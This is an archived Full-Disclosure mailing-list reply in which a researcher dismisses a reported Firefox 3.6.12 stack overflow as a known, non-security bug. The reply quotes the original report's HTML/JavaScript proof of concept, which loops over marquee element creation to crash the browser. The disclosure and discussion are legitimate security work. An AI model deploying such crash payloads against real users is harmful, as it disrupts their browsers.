full-disclosure - Re: FireFox 3.6.12 Stack Overflow Denial of Service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <AANLkTikYqMtP--6ZGuvXFtj+sBGsSD4t_TF5dLniaX+s@mail.gmail.com>
Date: Wed, 8 Dec 2010 18:22:13 +0100
From: Berend-Jan Wever <berendjanwever@...il.com>
To: sec yun <root@...yun.org>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: FireFox 3.6.12 Stack Overflow Denial of
	Service

This is a known bug and not a security issue. I'm not sure why you're
posting to this list.
https://bugzilla.mozilla.org/buglist.cgi?quicksearch=marquee+stack+overflow

Cheers,
SkyLined

Berend-Jan Wever <berendjanwever@...il.com>
Delft, The Netherlands
http://skypher.com/SkyLined



On Wed, Dec 8, 2010 at 09:28, sec yun <root@...yun.org> wrote:

> <code>
> <html>
>
> <body></body>
>
> <script type="text/javascript">
>
> function xxoo(){
>
> var str="marquee";
>
> var cobj=document.createElement(str);
>
> cobj.id="bK";
>
> document.body.appendChild(cobj);
>
> var obj=document.getElementById("bK");
>
> var atts = new Array();
>
> for(p in obj){
>
>
>
> }
>
> document.body.removeChild(cobj);
>
> var html="<marquee>";
>
> document.write(html);
>
> }
>
> for (i = 0; i < 500; i++) {
>
> xxoo();
>
> }
>
> </script>
> </code>
>
>  http://www.wooyun.org/bugs/wooyun-2010-0903
>
> WooYun is a connection platform for vendors and security researchers
>  From 0x250@...yun :)
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/